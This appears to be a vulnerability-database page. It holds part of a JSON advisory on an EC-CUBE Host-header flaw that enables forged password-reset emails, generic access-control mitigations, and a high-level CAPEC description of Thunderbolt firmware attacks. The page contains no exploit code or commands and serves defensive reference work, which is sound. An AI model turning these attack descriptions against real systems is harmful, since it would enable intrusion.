    "nvd_published_at": "2022-02-24T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "EC-CUBE 3.0.0 to 3.0.18-p3 and EC-CUBE 4.0.0 to 4.1.1 improperly handle HTTP Host header values, which may lead a remote unauthenticated attacker to direct the vulnerable version of EC-CUBE to send an Email with some forged reissue-password URL to EC-CUBE users.",
  "id": "GHSA-pw97-6v74-9w3p",
  "modified": "2024-04-25T20:40:50Z",
  "published": "2022-02-25T00:01:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25355"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EC-CUBE/ec-cube"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN53871926/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.ec-cube.net/info/weakness/20220221"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "EC-CUBE improperly handles HTTP Host header values"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list